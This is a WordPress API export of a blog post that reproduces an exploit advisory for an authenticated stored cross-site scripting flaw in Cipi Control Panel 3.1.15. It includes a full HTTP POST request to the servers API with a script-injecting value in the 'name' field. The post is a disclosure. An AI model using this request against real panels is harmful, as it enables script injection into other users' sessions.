# Exploit Title: Cipi Control Panel 3.1.15 – Stored Cross-Site Scripting (XSS) (Authenticated)
\n# Date: 24.02.2022
\n# Exploit Author: Fikrat Ghuliev (Ghuliev)
\n# Vendor Homepage: https:\/\/cipi.sh\/ <https:\/\/www.aapanel.com\/>
\n# Software Link: https:\/\/cipi.sh\/ <https:\/\/www.aapanel.com\/>
\n# Version: 3.1.15
\n# Tested on: Ubuntu<\/p>\n
When the user wants to add a new server on the “Server” panel, in “name”
\nparameter has not had any filtration.<\/p>\n
POST \/api\/servers HTTP\/1.1
\nHost: IP
\nContent-Length: 102
\nAccept: application\/json
\nX-Requested-With: XMLHttpRequest
\nAuthorization: Bearer
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36
\n(KHTML, like Gecko) Chrome\/98.0.4758.82 Safari\/537.36
\nContent-Type: application\/json
\nOrigin: http:\/\/IP
\nReferer: http:\/\/IP\/servers
\nAccept-Encoding: gzip, deflate
\nAccept-Language: en-US,en;q=0.9
\nConnection: close<\/p>\n
{
\n“name”:”\\”><script>alert(1337)<\/script>”,
\n“ip”:”10.10.10.10″,
\n“provider”:”local”,
\n“location”:”xss test”
\n}<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Cipi Control Panel 3.1.15 – Stored Cross-Site Scripting (XSS) (Authenticated) # Date: 24.02.2022 # Exploit Author: Fikrat Ghuliev (Ghuliev) # Vendor Homepage: https:\/\/cipi.sh\/ <https:\/\/www.aapanel.com\/> # Software Link: https:\/\/cipi.sh\/ <https:\/\/www.aapanel.com\/> # Version: 3.1.15 # Tested on: Ubuntu When the user wants to add a new server on the “Server” panel, in “name” parameter …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21126","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21126"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21126\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}